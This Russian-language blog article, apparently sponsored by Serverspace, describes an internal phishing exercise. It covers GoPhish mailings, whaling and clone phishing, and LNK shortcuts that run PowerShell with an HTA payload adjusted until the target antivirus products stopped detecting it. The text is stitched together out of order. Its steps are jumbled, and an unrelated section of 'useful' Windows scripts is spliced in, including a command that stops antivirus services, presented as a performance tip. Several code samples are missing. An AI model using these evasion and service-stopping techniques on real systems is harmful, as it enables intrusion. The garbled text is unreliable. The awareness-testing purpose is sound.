Поведенческий анализ Антивируса Касперского все-таки обнаружил вредонос, но целевые антивирусные решения не отреагировали на наш файл, поэтому задачу по формированию пэйлоада можно считать выполненной.
Не забудем захостить итоговый файл, убрать расширение .hta и изменить ссылку в ярлыке.
Виды фишинга
В ходе нашего эксперимента мы выбрали адресный фишинг, уэйлинг и клон-фишинг. Каждый из них имеет свои особенности, которые позволят оценить подготовленность сотрудников к возможным атакам.
Уэйлинг («Whaling») отличается от обычного фишинга тем, что атака нацелена на более высокопоставленных лиц или ключевых сотрудников организации. Злоумышленники представляются важными членами руководства, директорами или другими влиятельными лицами, чтобы убедить сотрудников предоставить конфиденциальную информацию или совершить финансовые операции.
В адресном (целевом) фишинге и уэйлинге для обмана жертв используются электронные письма из источников, воспринимаемых потенциальной жертвой, как надежные. Однако вместо массовой рассылки множеству получателей адресный фишинг нацелен на конкретных лиц или выдает отправителя за вызывающее доверие лицо для кражи учетных данных, либо ценной информации.
Клон-фишинг, хоть и менее изобретателен по сравнению с адресным фишингом или уэйлингом, остается весьма эффективным методом атаки. Его суть заключается в том, что злоумышленники не придумывают что-то новое, а просто копируют уже существующее электронное письмо от легитимной организации. После этого они изменяют ссылки в сообщении таким образом, чтобы перенаправить жертву на фальшивый сайт. Затем, используя хитрость и обман, они стараются выманить у пользователей личные данные.
После того как мы определились с целями фишинга, его типом, а также подготовили инструменты для сотрудников, необходимо выработать концепцию и оценить ресурсы для атаки.
Командные скрипты Windows
Это общий термин, который включает в себя различные типы скриптов и командных файлов, используемых в операционной системе Windows для автоматизации задач. Включают в себя как скрипты на языке командной строки (например, скрипты CMD), так и на более современных языках, таких как PowerShell. Например, Bat-скрипты (*.bat), PowerShell-скрипты (*.ps1), а также другие сценарии, созданные для автоматизации определенных задач.
Какое расширение имеют файлы скриптов PowerShell
PowerShell-скрипты имеют расширение *.ps1*, и для их выполнения часто требуется предварительная настройка политики выполнения скриптов (Execution Policy), чтобы разрешить запуск скрипта через PowerShell в системе.
Шаг 2. Этап доставки
Когда мы уже сидим на чемоданах и все снасти упакованы, пора погрузиться на корабль и отправиться на долгожданную рыбалку! Для того чтобы наше творение дошло до получателя в исходном виде и письмо не вызывало подозрений, необходимо произвести подмену отправителя.
Задача сотрудника сводится к тому, чтобы зайти в исходный код и сверить строчку получателя с тем, что демонстрирует приложение.
На развернутом сервере GoPhish была создана целевая группа для рассылки путем импорта CSV:
Затем мы составили фишинговое письмо с использованием HTML и CSS, преимущественно без картинок, поскольку многие почтовые клиенты блокируют изображения, как вложенные, так и с ссылкой на внешний ресурс. В сообщение мы добавили вредоносный файл и трекер, за счет которого будут фиксироваться открытия вредоносного сообщения. Письмо приняло следующий вид:
После того как мы сформировали все виды писем с вложением для реализации первого этапа атаки, можно начинать рыбалку!
Bat-скрипты Windows
Bat-скрипты, или файлы пакетных команд (Batch-файлы), представляют собой текстовые файлы, содержащие команды и инструкции для выполнения в командной строке Windows. Основаны на языке пакетных команд (Batch scripting language). Расширение файла: *.bat* (например, *myscript.bat*).
Пример простого bat-скрипта:
Шаг 1. Определение целей и подготовительные действия
Для проведения учений часто выбирают группы людей с разной технической подготовкой: от руководителей до рядовых сотрудников отделов. В нашем случае фишинговые письма рассылались корпоративной почтой. Чтобы напомнить пользователям информационной системы о серьезности фишинговой атаки, во все сообщения, приходящие с внешних доменов, были автоматически добавлены предупреждающие уведомления.
Пользователь мог перенаправить подозрительное письмо на специальный технический адрес и получить сообщение от сканера с отчетом о безопасности вложений.
Также в альтернативных каналах связи происходило периодическое информирование о потенциальных фишинговых атаках и распространялась информация о необходимых действиях реагирования. Теперь, когда организационная и техническая подготовка сотрудников проведена, необходимо определить тип фишинговой атаки.
LNK-файлы
Ярлыки Windows, или LNK-файлы обычно создаются операционной системой Windows автоматически при открытии файлов пользователем, и используются для быстрого доступа. Кроме того, пользователь может создавать LNK-файлы вручную.
Концепция атаки реализуется благодаря особенностям структуры самого формата:
Ярлык содержит стандартный путь к PowerShell, и в качестве полезной нагрузки передает аргументы на выполнение. На этом принципе можно реализовать массу векторов атак.
К примеру, если злоумышленник уверен, что устройство подключено к интернету и на пути не будет СЗИ, которые детектируют подобную активность, то в самой полезной нагрузке можно указать ссылку на вредоносный скрипт. При запуске такого скрипта произойдет заражение.
Если атака выполняется на защищенные машины, необходимые команды внедряются сразу в пэйлоад без обращения к стороннему серверу. Для примера рассмотрим «обезвреженный файл», показанный на скриншоте ниже. Скрипт содержит путь к первой версии PowerShell для совместимости со старыми дистрибутивами и аргумент с переадресацией на microsoft.com
На машине жертвы при активации ярлыка запускается дочерний процесс PowerShell и открывается окно:
В аргументы можно имплементировать любую команду, однако для скрытого выполнения действий с большим функционалом был также использован файл .hta (HTML Application).
Полезные сценарии для Windows
1. Скрипт выключения Windows (или перезагрузки):
Простейшая операция выключения компьютера. Откройте блокнот и введите:
shutdown -s -t 0
Сохраните файл с расширением *.cmd* (например, *shutdown.cmd*). При запуске этого файла компьютер выключится. Замените «-s» на «-r» для перезагрузки. Параметр «-t» устанавливает таймер; в данном случае, он равен 0 секунд, но можно установить, например, на 60 для выключения через 60 секунд.
2. Удаление ненужных приложений:
С помощью следующего скрипта можно удалить предустановленные приложения:
Замените *APPNAME* на название ненужного приложения. Хотя удаление можно выполнить стандартным способом или через программы, этот скрипт делает процесс более удобным.
3. Управление процессами:
Воспользуйтесь PowerShell для борьбы с медленными процессами. Выведите все службы:
Или получите информацию о конкретной службе с кодовым именем *NAME*:
Создайте файл, который закрывает процессы с повышенным потреблением ресурсов:
Stop-Service -Name *ANTIVIRUS*
Stop-Service -Name *BROWSER*
Замените *ANTIVIRUS* и *BROWSER* на соответствующие названия.
4. Переименование группы файлов:
Решите проблему однотипных файлов с помощью скрипта группового переименования:
$path = «$comp\desktop\journey\russia»
$filter = ‘*.jpg’
Укажите путь, расширение и выполните замены в строке.
5. Поиск файлов:
Используйте PowerShell для поиска файлов в директории:
Для более сложного поиска в подпапках:
Get-ChildItem C:\Windows\* -Include *.log -Recurse -Force
6. Справка:
Пользуйтесь командой *Get-Help* для получения информации:
Для более подробной справки по конкретной команде:
Get-Help —Name *CMDLET*
7. Получение информации о системе:
Используйте PowerShell для получения данных о системе, например, уровне заряда аккумулятора:
Add-Type -AssemblyName System.Windows.Forms
Информация об архитектуре процессора удаленного компьютера:
Проверка прав администратора текущего пользователя:
Эти простые и полезные сценарии помогут вам эффективнее управлять вашей системой Windows.
Чек-лист рекомендаций
- Нужно предоставить пользователям организационные и технические инструменты для детектирования атаки: сканеры, антивирусные решения, настроенные анализаторы на почтовых серверах или отдельные решения Mail Security;
- Необходимо организовать базовый hardering почтовых серверов во избежание слива учетных данных, ввести строгую парольную политику и многофакторную аутентификацию. При составлении учений мы поняли, что на одном из узлов есть уязвимость Broken Authentication, что помогло вовремя решить проблему.
- Следует внедрить проактивную защиту, просканировать почтовый сервис открытыми платформами наподобие PT Knockin.
- Нужно настроить блокировку приема почтовым сервером сообщений с потенциально вредоносным вложением: .lnk, .bat, .cmd, .ps1, .exe, .msi, .slk и прочими.
В ходе учений мы реализовали полноценную APT-атаку и проверили бдительность своих коллег. Это позволило не только выяснить уровень осведомленности сотрудников, но и помогло здраво оценить защищенность инфраструктуры. Охоту можно объявлять закрытой!
Статья поддерживается командой Serverspace.
Serverspace — провайдер облачных сервисов, предоставляющий в аренду виртуальные серверы с ОС Linux и Windows в 8 дата-центрах: Россия, Беларусь, Казахстан, Нидерланды, Турция, США, Канада и Бразилия. Для построения ИТ-инфраструктуры провайдер также предлагает: создание сетей, шлюзов, бэкапы, сервисы CDN, DNS, объектное хранилище S3.
Шаг 3. Сбор результатов и советы для сотрудников ИБ
В течение всей компании сотрудникам было разослано около 400 писем, из них были открыты 356 или 89% от общего количества. Повысилась активность на сканирующем устройстве, куда могли обращаться пользователи, чтобы проверить свои файлы на наличие вредоноса. В отдел кибербезопасности поступило 10 обращений по поводу подозрительного письма, что ускорило бы реагирование в случае реальной атаки. Однако около 16% машин оказались «заражены», что говорит о необходимости принятия дополнительных технических и организационных мер. Среди них — укрепление периметра, фильтрация почтового трафика внутри сети, hardening почтовых серверов и повышение осведомленности оставшегося процента сотрудников.
Учения, безусловно, принесли пользу: общий процент открытия вредоносных писем в прошлые периоды составлял 41%, в текущем снизился до 16%.